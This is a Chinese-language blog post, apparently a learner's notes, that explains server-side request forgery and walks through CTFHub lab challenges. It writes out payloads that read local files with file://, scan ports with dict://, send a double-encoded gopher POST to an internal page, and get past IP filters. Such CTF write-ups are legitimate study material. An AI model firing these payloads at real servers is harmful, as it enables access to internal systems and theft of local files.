【Try to Hack】SSRF(一)

举报
开心星人 发表于 2022/06/29 17:16:28 2022/06/29
【摘要】 📒博客主页:开心星人的博客主页🔥系列专栏:Try to Hack🎉欢迎关注🔎点赞👍收藏⭐️留言📝📆首发时间:🌴2022年5月27日🌴🍭作者水平很有限,如果发现错误,还望告知,感谢!部分概念《web安全功防》学习所得,仅作为自己学习的记录@toc SSRF概述和原理SSRF,服务端请求伪造,是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是...

📒博客主页:开心星人的博客主页
🔥系列专栏:Try to Hack
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年5月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

部分概念《web安全功防》学习所得,仅作为自己学习的记录

@toc

在这里插入图片描述

SSRF概述和原理

SSRF,服务端请求伪造,是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。
在这里插入图片描述

SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。

主要攻击方式如下所示。
● 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。
● 攻击运行在内网或本地的应用程序。
● 对内网Web应用进行指纹识别,识别企业内部的资产信息。
● 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如struts2、SQli等)。
● 利用file协议读取本地文件等。

常用伪协议

http伪协议:探测测内网主机存活、端口开放情况,可以通过访问其它网站确定存活,如百度

file伪协议:读取本地文件,如/etc/passwd、/etc/hosts、web网站等等

dict伪协议:泄露安装软件版本信息,查看端口,操作内网redis访问等

gopher伪协议:发送GET或POST请求(需要配合http协议二次url编码上传);攻击内网应用,如FastCGI、Redis

SSRF题目

内网访问

题目来自ctfhub技能树
http://challenge-acf1074025c4ea02.sandbox.ctfhub.com:10800/?url=_
页面为空

使用==http伪协议==判断主机是否存活
http://challenge-acf1074025c4ea02.sandbox.ctfhub.com:10800/?url=http://www.baidu.com
可以正常访问,所以内网主机是存活的

题目提示:尝试访问位于127.0.0.1的flag.php吧

http://challenge-acf1074025c4ea02.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
拿到flag

伪协议读取文件

http://challenge-3281151951220722.sandbox.ctfhub.com:10800/?url=_
和上一题一样http伪协议访问百度,主机仍然存活

题目提示:尝试去读取一下Web目录下的flag.php吧

使用==file伪协议==读取文件
http://challenge-3281151951220722.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
查看源码得到flag

端口扫描

题目提示:dict://:泄露安装软件版本信息,查看端口,操作内网redis访问等

用bp爆破,使用==dict伪协议==查看端口
在这里插入图片描述
访问http://challenge-9c2052be03dc7f05.sandbox.ctfhub.com:10800/?url=http://127.0.0.1:8424

也可以直接用==http伪协议==爆破
在这里插入图片描述
不加http也行,默认的就是http

POST请求

题目提示:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

用==file伪协议==查看源码
view-source:http://challenge-dc8c9baa94c1d082.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php
在这里插入图片描述
看别人wp说用dirsearch发现还有个flag.php,我也不知道这个要怎么扫目录。总之知道有个flag.php,用==file伪协议==看一下
http://challenge-dc8c9baa94c1d082.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
是个输入框
在这里插入图片描述
看源码
在这里插入图片描述
用==http伪协议==看下
http://challenge-dc8c9baa94c1d082.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
在这里插入图片描述

根据flag.php,我们很容易构造出

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
 
key=cff2694ad902f81a0ffc927f58c66c6e

那么如何进行POST传参呢?使用==gopher://==

对构造的payload进行二次url编码

第一次编码后的数据%0A替换%0D%0A,把替换后的数据进行第二次url编码,为什么要把%0A替换呢?这是因为CRLF即回车换行相当于是tcp数据流中的一个断点,所以一次编码忽略了的LF我们要在编码后加上再进行一次编码。

一次编码(%0A已被%0D%0A替换):

POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2036%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0A%0D%0Akey%3Dcff2694ad902f81a0ffc927f58c66c6e

二次编码(对第一次替换后的编码再编一次):

POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253Dcff2694ad902f81a0ffc927f58c66c6e

使用==gopher伪协议==进行POST
在这里插入图片描述
_POST,要加下划线

SSRF绕过

一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP

1、利用@ http://example.com@127.0.0.1/
2、利用短地址 https://bit.ly/2QyXEsz等价于http:/127.0.0.1
3、利用句号 127。0。0。1
4、进制转换
127.0.0.1–>localhost
127.0.0.1–>7F000001       十六进制
127.0.0.1–>2130706433      十进制

还没有很多内容没有写,待补充

参考文章1
参考文章2
参考文章3

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。